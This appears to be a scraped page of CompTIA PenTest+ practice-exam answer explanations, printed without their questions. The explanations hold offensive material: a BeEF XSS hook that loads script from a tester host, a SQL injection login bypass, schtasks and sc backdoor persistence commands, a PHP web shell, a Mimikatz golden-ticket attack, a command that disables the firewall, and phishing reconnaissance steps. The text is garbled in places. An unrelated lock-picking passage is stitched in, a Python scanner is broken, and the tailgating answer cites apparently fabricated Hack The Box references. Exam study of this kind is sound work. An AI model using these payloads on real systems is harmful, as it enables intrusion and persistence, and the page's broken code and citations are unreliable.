PT0-003 CompTIA PenTest+ Exam Free Practice Exam Questions (2026 Updated)

The correct answer is B. Use BeEF and insert payload < script src= " http:// < tester-IP > :3000/hook.js " >

BeEF, the Browser Exploitation Framework, is specifically designed to exploit client-side browser vulnerabilities and control browsers that load a malicious JavaScript hook. In a stored XSS scenario, inserting the BeEF hook script into a vulnerable comment form causes any user who views the comment to load the attacker-controlled JavaScript.

The payload:

< script src= " http:// < tester-IP > :3000/hook.js " >

loads BeEF’s hook script from the tester’s system. Once the victim browser executes the script, the browser becomes “hooked,” allowing the tester to perform browser-based post-exploitation actions within the authorized scope of the engagement.

A is incorrect because Evilginx is mainly used for adversary-in-the-middle phishing and credential/session capture, not for controlling browsers through stored XSS.

C is incorrect because a Netcat listener and an iframe pointing to /bin/bash will not create a browser reverse shell. Browsers cannot execute /bin/bash on the victim host simply through an iframe.

D is incorrect because the listed Metasploit module and image tag do not represent the standard method for hooking browsers through stored XSS.

In PenTest+ terms, this falls under Attacks and Exploits, specifically stored cross-site scripting and browser exploitation using JavaScript-based payloads.

If a penetration tester unintentionally disrupts a critical system, they must immediately follow the client’s escalation process to ensure proper handling.

Follow the escalation process (Option C):

The penetration testing engagement follows a predefined incident response and escalation plan.

The tester documents the issue, informs stakeholders, and works with IT teams to minimize impact.

In a pin tumbler lock, the key interacts with a series of pins within the lock cylinder. Here’s a detailed breakdown:

Components of a Pin Tumbler Lock:

Key Pins: These are the pins that the key directly interacts with. The cuts on the key align these pins.

Driver Pins: These are pushed by the springs and sit between the key pins and the springs.

Springs: These apply pressure to the driver pins.

Plug: This is the part of the lock that the key is inserted into and turns when the correct key is used.

Cylinder: The housing for the plug and the pins.

Operation:

When the correct key is inserted, the key pins are pushed up by the key’s cuts to align with the shear line (the gap between the plug and the cylinder).

The alignment of the pins at the shear line allows the plug to turn, thereby operating the lock.

Why Pins Are the Correct Answer:

The correct key aligns the key pins and driver pins to the shear line, allowing the plug to turn. If any pin is not correctly aligned, the lock will not open.

Illustration in Lock Picking:

Lock picking involves manipulating the pins so they align at the shear line without the key. This demonstrates the critical role of pins in the functioning of the lock.

======

The correct answer is A. SQL injection

The request contains a login attempt with the password value:

admin ' or '

This is characteristic of a SQL injection test because the tester is inserting SQL syntax into an input field to manipulate the backend database query. The single quote attempts to break out of the expected string value, and the OR condition attempts to alter the logic of the authentication query.

For example, a vulnerable login query might be manipulated so that the condition always evaluates as true, allowing authentication bypass.

B is incorrect because session hijacking involves stealing or reusing a valid session token or cookie. Although a cookie is present in the request, the attack shown is focused on the login input, not on taking over an existing session.

C is incorrect because brute forcing involves repeatedly trying many username or password combinations. The question shows a crafted payload, not repeated credential guessing.

D is incorrect because cross-site scripting involves injecting JavaScript or HTML into a web page so it executes in a user’s browser. The payload shown is SQL-like syntax, not client-side script code.

In PenTest+ terms, this falls under Attacks and Exploits, specifically web application attacks and authentication bypass attempts using SQL injection.

When developing a phishing campaign, the tester should first use social media to gather information about the targets.

Social Media:

Purpose: Social media platforms like LinkedIn, Facebook, and Twitter provide valuable information about individuals, including their job roles, contact details, interests, and connections.

Reconnaissance: This information helps craft convincing and targeted phishing emails, increasing the likelihood of success.

Process:

Gathering Information: Collect details about the target employees, such as their names, job titles, email addresses, and any personal information that can make the phishing email more credible.

Crafting Phishing Emails: Use the gathered information to personalize phishing emails, making them appear legitimate and relevant to the recipients.

Other Options:

Shoulder Surfing: Observing someone’s screen or keyboard input to gain information, not suitable for gathering broad information for a phishing campaign.

Recon-ng: A tool for automated reconnaissance, useful but more general. Social media is specifically targeted for gathering personal information.

Password Dumps: Using previously leaked passwords to find potential targets is more invasive and less relevant to the initial stage of developing a phishing campaign.

Pentest References:

Spear Phishing: A targeted phishing attack aimed at specific individuals, using personal information to increase the credibility of the email.

OSINT (Open Source Intelligence): Leveraging publicly available information to gather intelligence on targets, including through social media.

By starting with social media, the penetration tester can collect detailed and personalized information about the targets, which is essential for creating an effective spear phishing campaign.

======

Penetration test results are sensitive information and must be handled confidentially.

Privileged & Confidential Status Update (Option A):

Helps ensure compliance with legal and regulatory standards by labeling the report as confidential.

Encourages secure handling by recipients.

The tester identified an HTTPS downgrade attack (e.g., SSL stripping). The best mitigation is to enforce HSTS (HTTP Strict Transport Security).

HSTS (Option A):

HSTS (Strict-Transport-Security) ensures that the browser always uses HTTPS, preventing downgrade attacks.

Example header:

Strict-Transport-Security: max-age=31536000; includeSubDomains

1: Null session enumeration

Weak SMB file permissions

Fragmentation attack

2: nmap

-sV

-p 1-1023

192.168.2.2

3: #!/usr/bin/python

export $PORTS = 21,22

for $PORT in $PORTS:

try:

s.connect((ip, port))

print(“%s:%s – OPEN” % (ip, port))

except socket.timeout

print(“%:%s – TIMEOUT” % (ip, port))

except socket.error as e:

print(“%:%s – CLOSED” % (ip, port))

finally

s.close()

port_scan(sys.argv[1], ports)

The correct answer is C. intext:

The intext: search operator is used to search for specific text within the body content of indexed web pages. Since email addresses typically appear as visible text on web pages, documents, staff directories, contact pages, PDFs, and archived pages, intext: is the best operator for locating exposed email addresses during OSINT.

For example, a tester could search for:

intext: " @example.com "

This would return pages where email addresses or domain-based email strings appear in the page content.

A is incorrect because site: limits results to a specific domain or website. It is useful when narrowing OSINT searches, but by itself it does not specifically search for email addresses.

B is incorrect because intitle: searches only page titles. Email addresses are rarely found in page titles.

D is incorrect because inurl: searches for terms in URLs. Email addresses are typically not located in URLs.

In PenTest+ terms, this falls under Information Gathering and Vulnerability Scanning, specifically OSINT and search engine reconnaissance for phishing preparation.

To collect permission details for objects within an Active Directory domain, the PenTest+ workflow most closely aligns with using SharpHound (the BloodHound data collector) followed by BloodHound analysis. SharpHound is executed from a domain-joined or internally reachable system using a valid AD account to enumerate domain relationships, including group membership, sessions, local admin rights, and—most importantly for this question—object control and ACL-based permissions (for example, rights that allow modifying users, resetting passwords, adding group members, or controlling GPOs). BloodHound then imports this collected graph data and allows the tester to run Cypher queries to identify effective privileges, abuse paths, and misconfigurations that enable privilege escalation or lateral movement.

Rubeus is primarily focused on Kerberos ticket operations (TGT/TGS manipulation, roasting, delegation abuse) and is not a Cypher-query permission-mapping platform. CrackMapExec supports network/AD operations, but it is not the standard toolchain for graph-based permission path analysis described in PenTest+. Registry collection is unrelated to enumerating domain object permissions.

OS identification in tools like Nmap relies on fingerprinting techniques, which analyze response characteristics (e.g., TCP/IP stack behavior).

The scan cannot gather one or more fingerprints from the target (Option D):

If the system is configured to block ICMP responses, or if certain ports are closed, fingerprinting fails.

Some modern firewalls and intrusion prevention systems (IPS) interfere with OS fingerprinting by modifying packet responses.

To reenter the system remotely after the patch for the recently exploited RCE vulnerability has been deployed, the penetration tester can use schtasks.exe and sc.exe.

schtasks.exe:

Purpose: Used to create, delete, and manage scheduled tasks on Windows systems.

Persistence: By creating a scheduled task, the tester can ensure a script or program runs at a specified time, providing a persistent backdoor.

Example:

schtasks /create /tn " Backdoor " /tr " C:\path\to\backdoor.exe " /sc daily /ru SYSTEM

sc.exe:

Purpose: Service Control Manager command-line tool used to manage Windows services.

Persistence: By creating or modifying a service to run a malicious executable, the tester can maintain persistent access.

Example:

sc create backdoor binPath= " C:\path\to\backdoor.exe " start= auto

Other Utilities:

rundll.exe: Used to run DLLs as applications, not typically used for persistence.

cmd.exe: General command prompt, not specifically used for creating persistence mechanisms.

chgusr.exe: Used to change install mode for Remote Desktop Session Host, not relevant for persistence.

netsh.exe: Used for network configuration, not typically used for persistence.

Pentest References:

Post-Exploitation: Establishing persistence is crucial to maintaining access after initial exploitation.

Windows Tools: Understanding how to leverage built-in Windows tools like schtasks.exe and sc.exe to create backdoors that persist through reboots and patches.

By using schtasks.exe and sc.exe, the penetration tester can set up persistent mechanisms that will allow reentry into the system even after the patch is applied.

======

The correct answer is A. Implementing a logging framework

The vulnerable code uses:

e.printStackTrace();

In Java applications, printStackTrace() can expose sensitive internal details, such as class names, file paths, line numbers, application logic, database errors, and other implementation information. If this output is displayed to users or written insecurely, it can help an attacker understand the application and craft further attacks.

The best remediation is to replace direct stack trace printing with a proper logging framework, such as Log4j, SLF4J, or java.util.logging, configured with appropriate log levels and secure log handling. A logging framework allows developers to record useful diagnostic information while controlling where logs are stored, what level of detail is included, and whether sensitive data is exposed.

B is incorrect because simply removing the reported code lines may break exception handling and does not provide a proper secure error-handling solution.

C is incorrect because secure coding awareness is useful as a long-term improvement, but it does not directly remediate this specific vulnerable code.

D is incorrect because this is not a false positive. Direct use of printStackTrace() is commonly flagged by SAST tools because it can result in information disclosure.

In PenTest+ terms, this falls under Tools and Code Analysis, specifically SAST findings, insecure error handling, information disclosure, and secure coding remediation.

In an authorized physical assessment, the goal is to test physical security controls. Tailgating is a common and effective technique in such scenarios. Here’s why option B is correct:

Tailgating: This involves following an authorized person into a secure area without proper credentials. During busy times, it’s easier to blend in and gain access without being noticed. It tests the effectiveness of physical access controls and security personnel.

Cloning Badge Information: This can be effective but requires proximity to employees and specialized equipment, making it more complex and time-consuming.

Picking Locks: This is a more invasive technique that carries higher risk and is less stealthy compared to tailgating.

Dropping USB Devices: This tests employee awareness and response to malicious devices but does not directly test physical access controls.

References from Pentest:

Writeup HTB: Demonstrates the effectiveness of social engineering and tailgating techniques in bypassing physical security measures​​.

Forge HTB: Highlights the use of non-invasive methods like tailgating to test physical security without causing damage or raising alarms​​.

Conclusion:

Option B, tailgating into the facility during a busy time, is the best attack plan to gain access to the facility in an authorized physical assessment.

======

To detect all open ports and enumerate services, the tester needs to:

Use -sV (Service Version Detection)

Use -Pn (Disables ICMP ping to bypass firewalls)

Use -p- (Scans all 65,535 TCP ports)

nmap -sV -Pn -p- 10.10.10.10 (Option D):

This command performs full-port scanning, including high-numbered ports like 50123/tcp (ms-rpc).

Without -p-, high ports would be missed.

The command appends PHP code to a web-accessible file, effectively creating a simple web shell. By adding system($_GET[ " c " ]); into index.php, the tester can later execute operating system commands remotely through the web server by passing a parameter in the URL. This is most closely associated with establishing persistence, because it gives the tester a reusable method to regain command execution even if the original reverse shell session is lost. It is not primarily lateral movement, since the action is being performed on the already compromised host rather than expanding to another system. It is also not mainly about avoiding detection or bypassing a specific security control. The key objective is maintaining durable access through an alternate remote execution channel.

==============

This command uses Mimikatz’ kerberos::golden module to forge a Golden Ticket, which is a fabricated Kerberos Ticket Granting Ticket (TGT) created using the domain’s Kerberos key material (commonly the KRBTGT hash, supplied here as an RC4 key). In PenTest+ post-exploitation tradecraft, a Golden Ticket allows an attacker to impersonate arbitrary users and obtain Kerberos service tickets without performing legitimate logon steps. The inclusion of /service:CIFS and /target: dc01.test.local indicates the tester intends to access the domain controller’s SMB/CIFS service using Kerberos authentication. The /ptt switch (“pass-the-ticket”) injects the forged ticket into the current session so the system will present it automatically to services.

The goal is therefore to bypass normal authentication controls by using a forged Kerberos ticket to gain authorized access to resources (like SMB shares) as a chosen identity. It is not share enumeration itself, not credential harvesting, and not password spraying.

Top of Form

The smbclient tool is used to access SMB/CIFS resources on a network. It allows penetration testers to connect to shared resources and enumerate users on a network, particularly in Windows environments. While finger and rwho are more common on Unix/Linux systems, smbclient provides better functionality for enumerating users across a network.

Understanding smbclient:

Purpose: smbclient is used to access and manage files and directories on SMB/CIFS servers.

Capabilities: It allows for browsing shared resources, listing directories, downloading and uploading files, and enumerating users.

User Enumeration:

Command: Use smbclient with the -L option to list available shares and users.

Step-by-Step Explanationsmbclient -L //target_ip -U username

Example: Enumerating users on a target system.

smbclient -L //192.168.50.2 -U anonymous

Advantages:

Comprehensive: Provides detailed information about shared resources and users.

Cross-Platform: Can be used on both Linux and Windows systems.

References from Pentesting Literature:

SMB enumeration is a common practice discussed in penetration testing guides for identifying shared resources and users in a network environment.

HTB write-ups frequently mention the use of smbclient for enumerating network shares and users.

The correct answer is B. Perform privilege escalation.

The command:

netsh advfirewall set domainprofile state off

attempts to disable the Windows Firewall for the domain profile. Changing firewall settings requires administrative privileges. If the tester has shell access but the command fails, the most likely reason is that the current shell does not have sufficient privileges.

The tester should attempt privilege escalation to gain the required administrative or SYSTEM-level permissions before modifying firewall settings.

A is incorrect because finding other attack paths may be useful later, but the immediate issue is insufficient privilege.

C is incorrect because validating the target system’s fingerprint does not resolve a permissions failure when running a privileged Windows command.

D is incorrect because gathering more network data does not correct the inability to modify local firewall configuration.

In PenTest+ terms, this falls under Attacks and Exploits, specifically post-exploitation actions, privilege escalation, and executing commands that require elevated permissions on a compromised host.